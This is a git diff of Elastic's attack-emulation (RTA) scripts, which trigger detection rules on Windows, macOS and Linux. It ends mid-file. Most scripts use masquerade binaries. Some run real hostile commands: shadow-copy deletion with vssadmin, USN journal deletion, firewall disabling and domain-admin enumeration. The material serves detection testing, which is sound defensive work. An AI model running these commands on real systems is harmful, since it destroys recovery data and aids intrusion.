+@common.requires_os(metadata.platforms) def main(): warning = "Deleting the backup catalog may have unexpected consequences. Operational issues are unknown." common.log("WARNING: %s" % warning, log_type="!") diff --git a/rta/delete_usnjrnl.py b/rta/delete_usnjrnl.py index 4e571a669..9f08963a1 100644 --- a/rta/delete_usnjrnl.py +++ b/rta/delete_usnjrnl.py @@ -12,9 +12,19 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="5d049893-b5ca-4482-a9ea-c38c6d01c171", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "f675872f-6d85-40a3-b502-c0d2ef101e92", "rule_name": "Delete Volume USN Journal with Fsutil"}], + techniques=["T1070"], +) + + +@common.requires_os(metadata.platforms) def main(): message = "Deleting the USN journal may have unintended consequences" common.log("WARNING: %s" % message, log_type="!") diff --git a/rta/delete_volume_shadows.py b/rta/delete_volume_shadows.py index 22373a7b3..fef2ae862 100644 --- a/rta/delete_volume_shadows.py +++ b/rta/delete_volume_shadows.py @@ -11,9 +11,19 @@ # Description: Uses both vssadmin.exe and wmic.exe to delete volume shadow copies. from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="ae6343cc-3b56-4f60-854f-7102db519ec4", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "dc9c1f74-dac3-48e3-b47f-eb79db358f57", "rule_name": "Volume Shadow Copy Deletion via WMIC"}], + techniques=["T1490"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Deleting volume shadow copies...") common.execute(["vssadmin.exe", "delete", "shadows", "/for=c:", "/oldest", "/quiet"]) diff --git a/rta/directory_service_plugin_file.py b/rta/directory_service_plugin_file.py new file mode 100644 index 000000000..5152f13c7 --- /dev/null +++ b/rta/directory_service_plugin_file.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ff744c89-20cb-4be0-9725-2430d0be7f6a", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Persistence via DirectoryService Plugin Modification", + "rule_id": "89fa6cb7-6b53-4de2-b604-648488841ab8", + } + ], + techniques=["T1547"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing file modification on test.dsplug to mimic DirectoryService plugin modification") + common.temporary_file_helper("testing", file_name="/Library/DirectoryServices/PlugIns/test.dsplug") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/disable_os_security_updates.py b/rta/disable_os_security_updates.py new file mode 100644 index 000000000..d5f316d01 --- /dev/null +++ b/rta/disable_os_security_updates.py @@ -0,0 +1,56 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f4e4a28e-c845-4b26-bfdf-24128e73ef21", + platforms=["macos"], + endpoint=[ + {"rule_name": "Operating System Security Updates Disabled", "rule_id": "741ad90d-e8d0-4d29-b91b-3d68108cb789"} + ], + siem=[{"rule_name": "SoftwareUpdate Preferences Modification", "rule_id": "f683dcdf-a018-4801-b066-193d4ae6c8e5"}], + techniques=["T1562"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/defaults" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands for system discovery with builtin cmds") + + # ER + common.execute( + [ + masquerade, + "write", + "-bool", + "com.apple.SoftwareUpdate", + "CriticalUpdateInstall", + "NO", + ], + timeout=10, + kill=True, + ) + + # DR + common.execute( + [masquerade, "write", "-bool", "com.apple.SoftwareUpdate", "NO"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/disable_windows_fw.py b/rta/disable_windows_fw.py index df0cf752d..ceb612b6d 100644 --- a/rta/disable_windows_fw.py +++ b/rta/disable_windows_fw.py @@ -12,9 +12,19 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="75e14e5a-1188-47ea-9b96-2cf6e9443fc2", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "4b438734-3793-4fda-bd42-ceeada0be8f9", "rule_name": "Disable Windows Firewall Rules via Netsh"}], + techniques=["T1562"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("NetSH Advanced Firewall Configuration", log_type="~") netsh = "netsh.exe" diff --git a/rta/discovery_virtual_machine_grep.py b/rta/discovery_virtual_machine_grep.py new file mode 100644 index 000000000..86f7cce49 --- /dev/null +++ b/rta/discovery_virtual_machine_grep.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="92407d57-e5ce-41b1-933a-7cad26158802", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Virtual Machine Fingerprinting via Grep", + "rule_id": "e5c0963c-0367-4d24-bdf2-5af3a233e57b", + } + ], + siem=[{"rule_name": "Virtual Machine Fingerprinting via Grep", "rule_id": "c85eb82c-d2c8-485c-a36f-534f914b7663"}], + techniques=["T1082", "T1497"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing egrep commands to fingerprint virtual machine.") + common.execute(["egrep", "-i", '"Manufacturer: (parallels|vmware|virtualbox)"'], shell=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dock_plist.py b/rta/dock_plist.py new file mode 100644 index 000000000..7695da37e --- /dev/null +++ b/rta/dock_plist.py @@ -0,0 +1,30 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="38c81994-958f-40c8-bb6a-20bc1b93d598", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Persistence via Docker Shortcut Modification", "rule_id": "c81cefcb-82b9-4408-a533-3c3df549e62d"} + ], + techniques=["T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing file modification on com.apple.dock.plist to mimic dock plist modification") + common.temporary_file_helper("testing", file_name=f"{Path.home()}/Library/Preferences/com.apple.dock.plist") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/double_persist.py b/rta/double_persist.py new file mode 100644 index 000000000..236898088 --- /dev/null +++ b/rta/double_persist.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="74d0c16a-8af1-4dbb-9202-cc4b25208ea6", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Untrusted Process Writing to Commonly Abused Persistence Locations", + "rule_id": "392b0c89-1427-4601-8b32-01e8e40600a6", + } + ], + siem=[], + techniques=["T1547", "T1112"], +) + +EXE_FILE = common.get_path("bin", "DoublePersist.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "DoublePersist.exe" + common.copy_file(EXE_FILE, binary) + + common.execute([binary]) + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dscl_hidden_account.py b/rta/dscl_hidden_account.py new file mode 100644 index 000000000..1c06e02be --- /dev/null +++ b/rta/dscl_hidden_account.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b084e9dd-0c79-480c-b488-049ab8167b38", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Potential Hidden Local User Account Creation", "rule_id": "41b638a1-8ab6-4f8e-86d9-466317ef2db5"} + ], + techniques=["T1078"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/dscl" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake dscl commands to mimic creating a local hidden account.") + common.execute([masquerade, "IsHidden", "create", "true"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dseditgroup_admin_add.py b/rta/dseditgroup_admin_add.py new file mode 100644 index 000000000..bd8278216 --- /dev/null +++ b/rta/dseditgroup_admin_add.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d5643e8a-c3f5-48a7-9f64-7255f603a24a", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Potential Admin Group Account Addition", "rule_id": "565c2b44-7a21-4818-955f-8d4737967d2e"}], + techniques=["T1078"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/dseditgroup" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake dseditgroup commands to mimic adding a user to an admin group") + common.execute([masquerade, "admin", "-append"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dynwrapx_image_load.py b/rta/dynwrapx_image_load.py new file mode 100644 index 000000000..17c8aa373 --- /dev/null +++ b/rta/dynwrapx_image_load.py @@ -0,0 +1,58 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import time + + +metadata = RtaMetadata( + uuid="d8de8c03-d5d0-4118-8971-32439638d69f", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Dynwrapx Image Load via Windows Scripts", "rule_id": "4cd6f758-0057-4e8a-9701-20b6116c2118"}, + { + "rule_name": "Suspicious Windows Script Interpreter Child Process", + "rule_id": "83da4fac-563a-4af8-8f32-5a3797a9068e", + }, + ], + siem=[], + techniques=["T1055", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + cscript = "C:\\Users\\Public\\cscript.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\dynwrapx.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, cscript) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "dynwrapx.dll"]) + + common.log("Loading dynwrapx.dll into fake cscript") + common.execute([cscript, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + + # No idea on why, but after a lot of headaches, I discovered that the dll.pe.original_file_name + # is only populated if I delay the removal of the dll file + time.sleep(5) + common.remove_files(cscript, dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/edmond_child_process.py b/rta/edmond_child_process.py new file mode 100644 index 000000000..0d8eec9ba --- /dev/null +++ b/rta/edmond_child_process.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="58041706-c636-4043-b221-3d59f977b7e2", + platforms=["macos"], + endpoint=[{"rule_name": "Potential Persistence via Emond", "rule_id": "1cd247d8-00e8-4c62-b9ee-90cd1811460b"}], + siem=[{"rule_name": "Suspicious Emond Child Process", "rule_id": "3e3d15c6-1509-479a-b125-21718372157e"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/emond" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching bash from fake emond command") + common.execute([masquerade], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/eggshell_backdoor.py b/rta/eggshell_backdoor.py new file mode 100644 index 000000000..316713975 --- /dev/null +++ b/rta/eggshell_backdoor.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="be090f8e-dc7b-41eb-9c7e-74a0aed0dad1", + platforms=["macos", "linux"], + endpoint=[{"rule_name": "EggShell Backdoor Execution", "rule_id": "feed7842-34a6-4764-b858-6e5ac01a5ab7"}], + siem=[{"rule_name": "EggShell Backdoor Execution", "rule_id": "41824afb-d68c-4d0e-bfee-474dac1fa56e"}], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/eggshell" + if common.CURRENT_OS == "linux": + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands for EggShell backdoor behavior") + common.execute([masquerade, "eyJkZWJ1ZyI6test"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/elevated_osascript_execution.py b/rta/elevated_osascript_execution.py new file mode 100644 index 000000000..2b5933e52 --- /dev/null +++ b/rta/elevated_osascript_execution.py @@ -0,0 +1,46 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="086c6cae-22ac-47b6-bd24-85b33d8cf3a2", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Elevated Apple Script Execution via Unsigned Parent", + "rule_id": "f17c8dcf-d65f-479a-b047-3558233f774e", + } + ], + siem=[ + { + "rule_name": "Apple Scripting Execution with Administrator Privileges", + "rule_id": "827f8d8f-4117-4ae4-b551-f56d54b9da6b", + } + ], + techniques=["T1078", "T1548", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/bash" + common.copy_macos_masquerade(masquerade) + + # Execute commands + common.log("Launching fake osascript commands to mimic apple script execution") + command = "osascript with administrator privileges" + common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/emond_child_process.py b/rta/emond_child_process.py new file mode 100644 index 000000000..e14a7b246 --- /dev/null +++ b/rta/emond_child_process.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d1988e82-a079-4fc2-99f7-2bdbc9af0e00", + platforms=["macos"], + endpoint=[{"rule_name": "Potential Persistence via Emond", "rule_id": "1cd247d8-00e8-4c62-b9ee-90cd1811460b"}], + siem=[{"rule_name": "Suspicious Emond Child Process", "rule_id": "3e3d15c6-1509-479a-b125-21718372157e"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/emond" + masquerade2 = "/tmp/bash" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + # Execute commands + common.log("Launching fake emond commands to mimic spawning child process.") + common.execute([masquerade, "childprocess", masquerade2], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/emond_plist.py b/rta/emond_plist.py new file mode 100644 index 000000000..25c692c02 --- /dev/null +++ b/rta/emond_plist.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2c186f11-d07c-4df6-8b86-bf9ffd6ca871", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Emond Rules Creation or Modification", "rule_id": "a6bf4dd4-743e-4da8-8c03-3ebd753a6c90"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing file modification on test.plist to mimic emond file modification") + common.temporary_file_helper("testing", file_name="/private/etc/emond.d/rules/test.plist") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/empire_stager.py b/rta/empire_stager.py new file mode 100644 index 000000000..81d4ff257 --- /dev/null +++ b/rta/empire_stager.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4d7ce5b3-f8e4-434c-9caa-c7e133146b27", + platforms=["macos", "linux"], + endpoint=[{"rule_name": "Empire Stager Execution", "rule_id": "b7974ff6-82ff-4743-9e07-1c6901b1f0ea"}], + siem=[], + techniques=["T1132", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + if common.CURRENT_OS == "linux": + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake bash with base64 decode commands") + common.execute( + [masquerade, "exec(base64.b64decode*aW1wb3J0IHN5cztpbXBvcnQg)"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/enum_commands.py b/rta/enum_commands.py index 030f1d9bb..31be7d360 100644 --- a/rta/enum_commands.py +++ b/rta/enum_commands.py @@ -12,22 +12,31 @@ import argparse import random from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="9b19f4a3-7287-45d2-ab0f-9a9c0b1bc8e1", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "7b8bfc26-81d2-435e-965c-d722ee397ef1", "rule_name": "Windows Network Enumeration"}, + {"rule_id": "871ea072-1b71-4def-b016-6278b505138d", "rule_name": "Enumeration of Administrator Accounts"}, + ], + techniques=["T1135", "T1069", "T1087", "T1018"], +) + + +@common.requires_os(metadata.platforms) def main(args=None): - slow_commands = [ - "gpresult.exe /z", - "systeminfo.exe" - ] + slow_commands = ["gpresult.exe /z", "systeminfo.exe"] commands = [ "ipconfig /all", "net localgroup administrators", "net user", "net user administrator", - "net user /domain" - "tasklist", + "net user /domain" "tasklist", "net view", "net view /domain", "net view \\\\%s" % common.get_ip(), @@ -43,7 +52,7 @@ def main(args=None): "net accounts", "net localgroup", "net group", - "net group \"Domain Admins\" /domain", + 'net group "Domain Admins" /domain', "net share", "net config workstation", ] @@ -51,8 +60,14 @@ def main(args=None): commands.extend(slow_commands) parser = argparse.ArgumentParser() - parser.add_argument('-s', '--sample', dest="sample", default=len(commands), type=int, - help="Number of commands to run, chosen at random from the list of enumeration commands") + parser.add_argument( + "-s", + "--sample", + dest="sample", + default=len(commands), + type=int, + help="Number of commands to run, chosen at random from the list of enumeration commands", + ) args = parser.parse_args(args) sample = min(len(commands), args.sample) @@ -65,7 +80,7 @@ def main(args=None): common.log("About to call {}".format(command)) if command in slow_commands: common.execute(command, kill=True, timeout=15) - common.log("[output suppressed]", log_type='-') + common.log("[output suppressed]", log_type="-") else: common.execute(command) diff --git a/rta/enumeration_linpeas.py b/rta/enumeration_linpeas.py new file mode 100644 index 000000000..059bee14d --- /dev/null +++ b/rta/enumeration_linpeas.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b88c08af-eee5-4683-a56a-36e91e6386d5", + platforms=["macos", "linux"], + endpoint=[ + {"rule_name": "Privilege Escalation Enumeration via LinPEAS", "rule_id": "92bb2a27-745b-4291-90a1-b7b654df1379"} + ], + siem=[], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/sed" + if common.CURRENT_OS == "linux": + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) + + common.log("Executing fake sed command for LinPEAS behavior.") + common.execute([masquerade, "testImPoSSssSiBlEeetest"], timeout=5, kill=True, shell=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/env_variable_hijacking.py b/rta/env_variable_hijacking.py new file mode 100644 index 000000000..f2663cc22 --- /dev/null +++ b/rta/env_variable_hijacking.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a18454da-5f28-4223-95d6-5dc1f58c861a", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Modification of Environment Variable via Launchctl", + "rule_id": "7453e19e-3dbf-4e4e-9ae0-33d6c6ed15e1", + } + ], + techniques=["T1574"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/launchctl" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake launchctl command to mimic env variable hijacking") + common.execute([masquerade, "setenv"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_control_panel_cpl.py b/rta/exec_control_panel_cpl.py new file mode 100644 index 000000000..c9bd41364 --- /dev/null +++ b/rta/exec_control_panel_cpl.py @@ -0,0 +1,30 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ad9c9b24-cff3-4c4e-9fba-5c51ca9e58ae", + platforms=["windows"], + endpoint=[ + {"rule_name": "Control Panel Process with Unusual Arguments", "rule_id": "a4862afb-1292-4f65-a15f-8d6a8019b5e2"} + ], + siem=[], + techniques=["T1218"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # Execute command + common.log("Executing control.exe with a non-existing .cpl file") + common.execute(["control.exe", "cpl1.cpl:../a"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_cscript_suspicious_powershell.py b/rta/exec_cscript_suspicious_powershell.py new file mode 100644 index 000000000..09fff7242 --- /dev/null +++ b/rta/exec_cscript_suspicious_powershell.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c562a05e-0ac8-46f9-91a2-5e99c8a1117c", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Suspicious PowerShell Execution via Windows Scripts", + "rule_id": "3899dd3b-f31a-4634-8467-55326cd87597", + }, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + cscript = "C:\\Users\\Public\\cscript.exe" + common.copy_file(EXE_FILE, cscript) + + cmd = "powershell -c echo https://raw.githubusercontent.com/" + # Execute command + common.execute([cscript, "/c", cmd], timeout=10) + common.remove_file(cscript) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_echo_named_pipe.py b/rta/exec_echo_named_pipe.py new file mode 100644 index 000000000..20a1bdc28 --- /dev/null +++ b/rta/exec_echo_named_pipe.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f94f70a3-7c63-4f75-b5bc-f2227e284934", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Privilege Escalation via Named Pipe Impersonation", + "rule_id": "a0265178-779d-4bc5-b3f1-abb3bcddedab", + } + ], + siem=[], + techniques=["T1134"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # Execute command + common.execute(["cmd.exe", "/c", "'echo", "cmd.exe", ">", "\\\\.\\pipe\\named'"], timeout=5) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_explorer_trampoline.py b/rta/exec_explorer_trampoline.py new file mode 100644 index 000000000..1916b3419 --- /dev/null +++ b/rta/exec_explorer_trampoline.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5e911636-6f68-40d3-b1ef-7a951a397cc9", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Execution of Commonly Abused Utilities via Explorer Trampoline", + "rule_id": "5e8498bb-8cc0-412f-9017-793d94ab76a5", + } + ], + siem=[], + techniques=["T1218", "T1566", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + explorer = "C:\\Users\\Public\\explorer.exe" + common.copy_file(EXE_FILE, explorer) + + common.execute( + [ + explorer, + "-c", + "echo", + "/factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b}", + ";mshta", + ], + timeout=10, + ) + common.remove_files(explorer) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_ms_dotnet_clickonce.py b/rta/exec_ms_dotnet_clickonce.py new file mode 100644 index 000000000..9cd761e0b --- /dev/null +++ b/rta/exec_ms_dotnet_clickonce.py @@ -0,0 +1,57 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="23f0dde3-4803-4976-9a2a-5b5faca50b54", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Executable File Creation Followed by Immediate Network Connection", + "rule_id": "8d11d741-7a06-41a1-a525-feaaa07ebbae", + }, + { + "rule_name": "Execution via Microsoft DotNet ClickOnce Host", + "rule_id": "8606d5fe-5005-4f48-804a-3ad71a22e39d", + }, + ], + siem=[], + techniques=["T1127", "T1218", "T1036", "T1204", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + rundll32 = "C:\\Users\\Public\\rundll32.exe" + dfsvc = "C:\\Users\\Public\\dfsvc.exe" + common.copy_file(EXE_FILE, dfsvc) + common.copy_file(EXE_FILE, rundll32) + + common.log("Loading mstscax.dll into posh") + common.execute([rundll32, "-c", "echo dfshim1ShOpenVerbApplication"], timeout=10) + common.execute( + [ + dfsvc, + "-c", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "443", + ], + timeout=10, + ) + common.remove_files(dfsvc, rundll32) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_msdt_diagcab.py b/rta/exec_msdt_diagcab.py new file mode 100644 index 000000000..60ceb1fd8 --- /dev/null +++ b/rta/exec_msdt_diagcab.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from 